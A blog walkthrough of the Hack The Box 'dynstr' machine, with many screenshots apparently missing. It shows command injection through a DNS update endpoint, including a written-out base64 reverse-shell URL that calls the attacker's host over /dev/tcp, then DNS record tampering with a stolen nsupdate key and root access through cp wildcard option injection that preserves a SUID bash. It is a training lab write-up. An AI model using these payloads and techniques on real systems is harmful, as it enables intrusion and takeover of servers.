Hack The Box: Machines - dynstr (Medium)

 


Hello folks!

Introduction

Today I'm going to show you how the dynstr machine can be solved. Looking at the picture of the released machine we can see that we will be dealing with the Linux instance. Obviously, the only thing we know about this device is its IP address and operating system. Therefore, we need to scan it for gathering more information.

Enumeration

As always I will start the enumeration part using nmap.  I want to launch the scan with common scripts and service enumeration as well as all information written to the stdout. Here is the command:


And this is the result:


As you can see port 80 is open among others. Therefore the target machine is HTTP server. More precisely the device is running the Apache 2.4.41 web server on Linux system, probably we are dealing with Ubuntu. The web application hosted by the target is a great path to own the machine. Let's look under the hood.


The web application is the presentation of a DNS service. The only interesting thing that the main page has are credentials.


Those can be useful in further exploitation. This site doesn't have any redirections thus we have to get more information about the application to find the attack vector. Let's launch the directory scanner, I will use the gobuster this time.


Unfortunately, the gobuster didn't find hidden directories. I've run the tool with the common.txt dictionary so this is a rather smaller one. But maybe some interesting subdomains exist? Let's find it out with the vhost gobuster option. I've used this command to check if there are any subdomains worth considering.


The result is pretty bad since the gobuster didn't give us any new subdomain.


Probably I'm forced to use a bigger dictionary and launch the directory scan again. Our target has to be bigger than only one resource. First, let's try with the medium dict. In my case, it would be the raft-medium-directories dictionary from the SecLists package (https://github.com/danielmiessler/SecLists).


With the medium-sized dictionary, the gobuster found the nic directory. I don't know what can be inside this directory and the name is pretty mystery for me but let's try to access it.


There is absolutely nothing inside this resource. It means that another enumeration is waiting for us. Maybe the nic directory is some kind of indicator? We should definitely dig deeper. After running the command:

gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u dynstr.htb/nic/

the gobuster found the update directory.


This can be it, finally! 


Ok, this badauth tells me nothing but this might be the clue. After digging into the internet I found that this baduath information makes sense. It looks like the machine tries to validate credentials that should be sent as parameters in GET request. When you type "nic update badauth" in a web browser you will see that the whole authentication process is based on a simple request. This authentication is made by the DNS server. Here is the URL that we can send to change the IP address of a host. Obviously, this domain should already exist in the records of this particular DNS server. You can find more about this feature here:


Based on the documentation we can say that the IP Update Protocol is the thing of our interest right now. This is how the proper GET request for updating the IP address of a domain might look like:

GET /nic/update?hostname=mytest.example.com&myip=192.0.2.25 HTTP/1.1
Host: dynupdate.no-ip.com
Authorization: Basic base64-encoded-auth-string
User-Agent: Company DeviceName-Model/FirmwareVersionNumber maintainer-contact@example.com

As you can see, before crafting the proper IP Update protocol's request we need to collect and put in order some information from the main page of the web app. 

First, we would like to know which domains are hosted by the DNS server to be able to fill the hostname parameter correctly. 


We have exactly three domains hosted by the DNS server. The next obstacle that has to be bypassed is an authorization. At the very beginning of this post, I've pasted gathered credentials but the username might be wrong. As the documentation states "No-IP uses an email address as the username.". Fortunately, the email address is on the main page footer. That being said, we have now two options for the proper username instead of only one.


Now we are ready to roll.

Foothold

We've gathered all the necessary values to craft the IP Update GET request. Let's encode credentials using base64:


Then create the proper GET request and send it with the help of Burpsuite. We will see what we can accomplish.


I will try to send this exact request, maybe something will pop up and give us any further hints on what to do next? Since I'm not sure if changing the IP address of a domain would give us anything. Unfortunately, I've got 408 status code which means "Request Timeout". The HTTP server didn't receive anything from us most likely. Thus maybe the Burp proxy is the problem? I've got one more tool in the arsenal and its name is curl


This time instead of the 408 status code it gave me the badauth again. Maybe it doesn't look like but it is a very bright indicator of what is wrong with the request. I've used the email as the username, now I will use the login gathered from the main page - dynadns.


The server responded with a 911 status code and it tells us that htb is a wrong domain. It means that all of the gathered domains from the main page are gone. The last chance for making this work is to pass dynupdate.no-ip.com as the hostname. I've taken this domain from the documentation. Let's try once again.


Again, we are using the wrong domain. It took me some time to find what domain we should use in order to get a proper response. But I stopped on this site -> https://www.noip.com/support/knowledgebase/how-to-configure-your-no-ip-hostname/ They are writing about hostnames in the form of yourname.no-ip.org. Maybe it is a pattern for the No-Ip DNS servers and that is how we should type the hostname? I will give it a try and send the hostname in the form of <hostname>.no-ip.htb because ultimately we are operating inside the htb VPN.


Ok, so we have the correct hostname in our hands. I don't see any path that we can follow to get the shell from changing the IP address of a domain inside the DNS record. To be honest I don't really know how this particular DNS server works with No-Ip service. For now, we know that the /nic/update service parses the hostname parameter and we can control it. We are dealing with the REST API as the documentation states https://help.dyn.com/remote-access-api/perform-update/. The only idea that I can think of at the moment is to throw some special characters inside the hostname parameters and see what happens. Take it as some sort of fuzzing. Let's try with the ' character for example.


There is a man page for the nsupdate tool https://linux.die.net/man/8/nsupdatehttps://linux.die.net/man/8/nsupdate. This program is used for updating records in DNS servers. Therefore we are interacting with the Linux binary via controlled parameters. Maybe somewhere in the RESTful API script which we are testing the nsupdate is called using the system function? Because web application is communicating with the local Linux binary such a case is very possible. Now everything boils down to RCE directly on the HTTP server. It might be a way to get the reverse shell, finally. I will check if my supposition is correct by pinging the attacking machine from the target. I've tried to issue this command:

curl "http://dynstr.htb/nic/update?hostname=`ping -c 3 10.10.14.119`dnsalias.no-ip.htb&myip=10.10.14.119" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"

but with the URL encoding. If RCE actually exists on the server the whole command along with the nsupdate binary will look like this -> nsupdate `ping -c 3 10.10.14.119`dnsalias.no-ip.htb. It's clear that the command between backticks comes first, therefore I should see exactly three responses from the server.


The 911 status code. It means that the dots between IP address octets are treated as part of the domain. To be able to send the payload properly the base64 encoding can be used. I will try to test the server against this command:

curl "http://dynstr.htb/nic/update?hostname=`echo <base64 encoded payload> | base64 -d | bash`dnsalias.no-ip.htb&myip=10.10.14.119" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"

First, let's encode the payload using base64:


As I have the payload encoded in base64 it can be pasted to the whole curl command and send.


And here is the result. The payload is working!


It looks like the last thing to do is to use the reverse shell payload and the server will be owned.

Base64 reverse shell payload encoding:


As you can see I will be listening on port 1234. This is the URL that will most likely give me the reverse shell:

http://dynstr.htb/nic/update?hostname=%60echo%20L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMTAuMTAuMTQuMTE5LzQ0NDQgMDwmMSAyPiYx%20%7C%20base64%20-d%20%7C%20bash%60dnsalias.no-ip.htb&myip=10.10.14.119


And this is the result:


Great! Now it's time to get the user flag.


The user flag is inside the bindmgr home directory but as I expected - the www-data user doesn't have permission to read the flag.

Getting user flag

To be able to read the user.txt file we have to be logged in as bindmgr. Inside its home directory, there is a support-case-C62796521 directory with some interesting files.


After some further enumeration, I've got the private SSH key to the bindmgr account. Information was gathered from the strace file.


Unfortunately, after formatting the private key properly I still could not log in via SSH. 


If logging in with SSH using a private key is broken then it's always good to check authorized_keys file.


When someone wants to log in to the system from a host, this host has to be from the infra.dyna.htb DNS zone. The IP address of the attacking machine doesn't belong to the specified zone but it can! We have access to the nsupdate tool which updates DNS records. The tactic is pretty simply - I will add DNS A record with the IP address of my attacking machine assigned to the domain from the infra.dyna.htb zone. It can be for example domain.infra.dyna.htb, the first part can be anything as long as the rest of the domain reflects the DNS zone.


The operation of adding the A record failed. I've read the nsupdate's documentation again. It explains that nsupdate needs a secret key to authenticate updating requests. This keys have specific formats that is -> .key or .private. Therefore they can be found using the find command.


At least one of those three keys should work just fine. Let's try the last one - infra.key.


 It appears that I've added the A record correctly. Therefore, let's try to log in with the private key.


The SSH authentication failed again. :/ But I didn't give up. I read about DNS records and DNS in general and found that  PTR records are related to A records. If you don't know what PTR records are I'm giving you a link to read about this feature -> https://www.cloudflare.com/learning/dns/dns-records/dns-ptr-record/. To log in into the bindmgr account I probably need to add also a PTR record which will map the IP address of my attacking machine to the domain I specified earlier. So let's do it.


The PTR record is added and it looks like it's correct. Now let's try to log in as bindmgr once again.


And finally, the user flag is in our hands! Now it's time to escalate privileges.

Privilege escalation

As usually let's check which programs can the user execute with raised privileges using sudo.


The bindmgr.sh script can be run with the context of the root and it doesn't require the password for this. Perfect. This is probably the way to escalate privileges on the compromised system. I guess that we have to analyze the script line by line and look for the attack vector.


That being said the first if statement checks if the .version file exists.


The above code includes all files from /etc/bind/named.bindmgr/ directory inside the /etc/bind/named.conf.bindmgr file.


Next, the script copies the .version file and all other files from the current working directory to the /etc/bind/named.bindmgr/ location. The rest of the code simply checks if the configuration file is correct in the case of its syntax. At the moment I don't really know how we can use the script to escalate privileges but let's simply execute it and analyze it on the fly. 
As you remember, to execute the whole script correctly we have to have the .version file.


After running the script the .version file exists inside the /etc/bind/named.bindmgr/ directory.


Notice that every file copied from the directory has set root as the owner. It means that this fact can be leveraged to get the bash executed in the root context. Everything we need to do is to set the suid to the /bin/bash that will be in the home directory. This file will be copied to the /etc/bind/named.bindmgr and we will be able to execute it from the user account but in the context of the root. But keep in mind that we have to tell the cp command to copy each file with the preserved state. 
Because the cp program uses wildcard in this case it will create the whole command using filenames. Thus, we can pass options to the command using filenames. That being said, let's copy the bash to our home directory and set the suid.


Now let's create an empty file with the name --preserve=mode to keep the suid of the bash file after copying it to the new location.


It's time to finally launch the script and watch how the world burns. :D


The bash lies inside the correct directory, it has set suid and the owner of the file is root. Therefore, the bash will be executed in the context of the root. What's now? I can finally get the root flag!



Sum-up


It was by far the most difficult machine that I ever made. I used Google a lot and searching the internet for answers to my questions. But I have to admit that it was also a machine from which I've learned the most. From DNS to testing RESTful APIs. Kudos to the author of the machine jkr because that box is really awesome. I feel that I'm making progress step by step and after this pwning box, I'm sure that this step was very long. :) Thanks for reading and see you in the next post. Have a nice day guys and take care!


Comments

Popular posts from this blog

Learning of malware analysis. Solving 9-1 lab from the "OllyDbg" chapter. ("Practical Malware Analysis" book)

Learning of malware analysis. Basic static analysis labs from "Practical Malware Analysis" book